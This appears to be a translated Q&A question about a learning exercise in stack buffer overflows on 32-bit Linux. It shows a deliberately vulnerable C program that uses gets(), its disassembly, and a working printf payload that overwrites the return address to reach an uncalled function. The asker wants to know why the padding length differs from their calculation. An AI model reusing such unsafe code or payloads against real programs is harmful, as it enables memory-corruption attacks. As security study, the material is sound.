我正在尝试控制堆栈溢出。gcc -fno-stack-protector -ggdb -o first first.c
首先,这是我在 x32 VM Linux ( )上编译的 C 代码示例,
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
然后调试器(英特尔风味):转储函数的汇编代码GetInput
:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
在这里我们可以看到 sub esp, 0x28 为缓冲区变量保留了 40 个字节(对吗?)。
CanNeverExecute
函数位于地址0x0804843c
。因此,为了运行CanNeverExecute
函数,我需要将 40 个字节放入缓冲区变量,然后将 8 个字节用于存储的基本指针,然后将 8 个字节的返回指针放入我想要更改的。
所以,我需要一串 48 个 ASCII 符号加上\x3c\x84\x04\x08
最后(CanNeverExecute
函数的地址)。那是理论上的。但实际上我只需要在返回指针的地址前 20 个字节:
~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)
为什么它只需要 20 个字节而不是 48 个字节?我的错误在哪里?